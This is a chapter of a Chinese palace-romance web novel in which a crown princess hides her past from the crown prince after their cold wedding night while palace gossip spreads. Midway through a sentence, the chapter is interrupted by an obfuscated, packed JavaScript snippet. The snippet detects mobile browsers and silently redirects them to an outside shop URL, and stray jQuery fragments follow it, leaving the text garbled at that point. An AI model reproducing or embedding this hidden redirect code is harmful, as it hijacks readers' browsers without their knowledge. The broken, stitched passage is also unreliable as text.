15. 夺情成礼(3)

作品:《关河清晏

    陈致这话问得算是不打自招了。


    沈照华心中有数。但她抬眸看了一眼他期待与疑惑交织的眼神,又把眉眼垂下去。


    她学着寻常高门贵女面对尊者的模样回道:“妾从未有幸见过殿下,何以记得?”


    她如何不记得?数月未见,他因重伤而苍白的面色如今恢复红润,精神也好了许多,他右眉梢上的痣依然在烛光下若隐若现,一如她梦中场景。


    但只能瞒他。欺君之罪,朝为天家妇、暮为阶下囚在哪朝哪代也不是罕事,她绝不能冒半点风险。


    何况他是太子,所谓君心难测。


    她只能装成最不像自己的样子,来打消他的怀疑。


    陈致着实被她的这副做派和回答闹得有些不知所措。


    他不知沈颂华已死,他搜肠刮肚思索半日也找不出沈恪能让女儿扮做男子上战场的理由。


    但他如何相信眼前果真不是当日与他生死与共之人?


    陈致再一次试探地问道:“我们当真,从未见过?”


    沈照华婉声答道:“殿下乃国之储副,绮年华誉,天下称颂,若说见过,妾也只是在梦里见过。”


    梦里见过。沈照华心下一酸。


    玉殿之内,白檀香于金炉中袅袅飘出,那是她熟悉的味道。


    陈致看着身旁态度谦卑、话语谄媚的新妇,嘴角泛起一抹苦笑。


    温柔规矩大家子,不是当日少年人。


    他起身向沈照华稍揖了一礼,神色恢复了一贯的淡漠。


    “太子妃尚在孝期,孤不便留宿,请早些歇息吧。”


    他转身离开卧房,推门而出,透过珠帘,沈照华看到了他渐渐消失于门口的影子。


    三句话。


    他今晚一共同她说了三句话。


    沈照华抬起头望了望雕金刻碧的华彩梁顶,把眼眶里的酸胀憋了回去。


    沈照华起身到摆着花生莲子和许多喜点的桌前随便拈了两块点心吃了,腻得有点齁嗓子,便扬了声向外喊道:


    “来人,倒水!”


    ——


    新婚之夜夫妻不圆房,在新妇守孝期间确是合礼。但是新郎官离了文熙殿,径直独往书房睡去了,这事便稀奇了。


    御赐婚姻,册宝为聘,太子连安安静静陪太子妃一夜都不肯吗?


    东宫说小不小,说大亦不大,从陈致昨晚踏出文熙殿那一刻起,流言便开始如流萤飘飞。


    酝酿发酵了一整夜,待沈照华醒来时,东宫已无人不知了。


    洒扫的宫人、各房的女使,甬道回廊的每个角落都在挤眉弄眼地窃窃私语着,说太子殿下之前娶先太子妃之时可是安稳地度过了洞房花烛夜的,而且先太子妃第二日面色极其红润,哪像这个不闻不问的?


    “是不是这新妃长得太丑?太子殿下一眼都看不下去?”


    “听说长得还行。没准是脾气太硬,咱们殿下喜欢温柔可人的,就像林良娣。”


    “或者是有隐疾?比如狐臭什么的...?”


    “小声点!叫人听了可是要杀头的!”


    “......”


    殿内,女官正服侍沈照华更衣梳妆,准备外廷下朝后,入宫朝见皇帝。


    鸾镜中映着玉人花面,并无一丝倦容。


    昨夜陈致虽走了,沈照华却彻底想通了,不管他是旧人还是新人,不管能不能故友相认,他始终是太子。


    天家夫妻,分属君臣,哪需要那么多真情假意,各守其职而已。


    既已重新开局,就无需纠结往事。世人不总说往事如烟么,如烟甚好,免却烦恼。


    门外玉泉引着送早膳的宫人进殿来,眉头蹙成了一座小山。


    不用问,肯定是她听到昨夜之事的传言了。


    沈照华十三岁上虽居住凤宁随父守边,但毕竟生于侯门深院,内宅里这点事她猜也猜个七八分,昨晚陈致走时,她就知道此事准成新闻。


    宫人们在桌前摆饭,玉泉拨了珠帘近前来,看了一眼正为沈照华插钗的女官,终是要同她附耳言语。


    沈照华略一扬手,示意她不必多言。


    她在镜中看到了玉泉穿的一身紫色圆领窄袖宫袍,头戴幞头腰系革带,与常日家中裙袄穿戴分明两样。


    “这身衣裳显利落,很衬你。”沈照华一笑。


    玉泉见她有意撂下不提,也就不再多说,只是此事于声名实在有损,初来乍到又不知东宫水有多深,她到底担心。


    东宫的早膳比家中要精细许多,各色粥点荤素花样精巧不必细说,就连最常吃的玉井饭都用白玉莲花碟盛放,还点缀了些蒸软的红豆,莹润雪白之余又添生动。


    宫人们只在桌上摆了一双碗箸,看来,这是让她独享满桌美味之意,太子连早膳也不陪她用了。


    未吃几口,书房那边便遣了内侍来传话:“太子殿下请娘娘移步前院,同乘入宫朝见。”


    沈照华知道这是在叫她了。尚仪局女官讲过,外人称太子妃,与太子一般称殿下,以示夫妻敌体之礼;而宫禁之内私称娘娘,以表下人恭敬顺从之意。


    她头也没抬,边吃边从容应答:“告诉殿下,我在吃早饭。”


    那内侍着实愣了一下,在旁服侍的女官也不禁抬眸看了她一眼。


    这位主子竟敢让太子殿下候着?


    ——


    东宫书房,放鹤轩。


    陈致收到回话时,正在誊写政务札记的手不禁顿了一下。他忙把紫毫笔尖朝上提些,免得卷上洇墨。


    他往窗外望望,日向东南。日上三竿了,才吃早饭。


    她倒是一夜好眠。


    不过很快他便反应过来,起得不早是一回事,叫内侍如此答话,则又是另外一回事了。


    他摇头轻笑了一声:“那就等。”


    谁叫昨晚他一时失望便头也不回地离了寝殿,叫她一夜独守空房呢。这下必是记恨上他了。


    虽然算上薨了的冯氏,他之前总共有三个妃嫔,无一敢跟他使小性儿,但到底是小事,随她不妨。


    他重新蘸墨刮笔,继续誊录这个月他的理政心得。


    雕花窗外日移影动,松枝摇曳。


    沈照华用过早膳又在院子里赏了一番腊梅枝上的几点青苞,这才让内侍引着去前院乘车。


    东宫全名承庆宫,虽名为宫,其实坐落于皇宫之外,是座宏丽轩敞的府邸。整体规模建制与地方行宫略似,稍大于王府与公主府。


    约莫一炷香后,沈照华才从文熙正殿走到前院门口,却见金饰紫幔的车驾旁早已立了两列内侍,墙两侧也候了两队青袍侍卫,后面又有撑伞举盖之人,一副就绪待发的模样。


    车内之人听见动静,略揭了下车帘,帘内露出朱红色的袍摆。


    陈致已在此等候多时了。


    领头的崔知白见太子妃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375883|199542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来,忙躬身行礼:“臣参见太子妃殿下,请殿下登车。”


    沈照华向他点头示意,正要登车,眼角余光却瞥见一副熟悉面孔。他便是那凤宁随行的玄甲军士。


    崔知白本颔首垂眸,但许是感受到了沈照华在他脸上略作停留的目光,不禁好奇一望。


    崔知白的眼睛明显怔忡了一瞬,又慌忙垂下头去。宫中贵眷,不可正视。


    沈照华又继续假装无事地在内侍的搀扶下提裙上车。


    “东宫的膳食,可还合口味?”


    不等沈照华先问候,陈致便开了口。


    陈致与她说话的态度堪称冰冷,跟凤宁时已不可同日而语。


    沈照华腹诽道:装得好一副高不可攀的样子!刚要甩给他一句“好得很”,可话到嘴边又咽了回去。


    而且换上和顺的神态语气:“谢殿下关心,妾用得慢些,让殿下久等了。”


    陈致心想,事做得不怎么样,话倒是说得乖巧,这点倒和她哥哥不同。


    “朝见是大事,以后需早些,不可懒怠。”


    “是,谨遵殿下教诲。”


    都是聪明人,有些事不必戳破,好给彼此留些余地。


    二人点到为止,不再言语。


    马蹄声起,车厢缓缓移动,沈照华与陈致各自靠着车壁相对而坐,一个持卷观书,一个兀自发呆,表面上一潭死水。


    不多时,离勤德殿最近的东华门已近在眼前,红墙碧瓦,峥嵘飞檐,一派皇家富丽气象。


    马车还未停稳,身着绛袍的御前侍奉梁彦民便从门内一路疾迎过来,说话间尚带几分喘息:


    “臣给太子殿下、太子妃殿下请安,恭贺二位殿下新婚大喜!”


    陈致在车上揭帘问道:“怎么劳动梁大监亲自来了?”


    平日晨昏定省,向来是他自行来去。


    梁彦民嘴上说着贺喜,可面上却无喜色:“回禀殿下,陆贤妃一时犯了头风症,散朝后陛下便匆匆去了,遣臣来跟二位殿下说一声。陛下说了,都是一家子了,明日再见也不迟。”


    “那劳烦大监替孤和太子妃向陛下请安,也向贤妃娘娘问候。让娘娘好生养病,改日孤叫太子妃亲去探望。”


    “是,臣一定转达。再向二位殿下道喜。”


    车马掉头,重归旧路。


    放下车帘,陈致脸上的云淡风轻转为一片失落。


    十年前陈业便因宠爱陆贤妃而陪她去清河行宫避暑,留下病重的庄懿皇后在宫中养病。先皇后薨时,陈业正和陆贤妃人影双双,她至死没能得见陈业一面。


    若不是担心立陆氏为后,会引发陈致与陈敏的储位之争动荡国本,这后位早便花落陆氏了。


    如今,陈业又因陆氏而不顾礼制,让他与太子妃空自往还,陈致只觉心寒。


    沈照华看着陈致面笼阴云,不禁相问:“殿下怎么了?有什么不妥吗?”


    陈致轻轻冷笑:“不妥之事,早不只这一桩了,不提也罢。”


    能让他如此失落的,不可能是揭过即可之事。


    沈照华便问道:“难道你还信不过我么?”


    一如当初暗渡桑台的月夜,他问她一般。


    陈致抬头一怔。


    他没有忘记,这话,他分明对一个人说过。


    眼前人的面容又和记忆中的人重合在一起,他皱眉沉声问道:


    “你到底是谁?”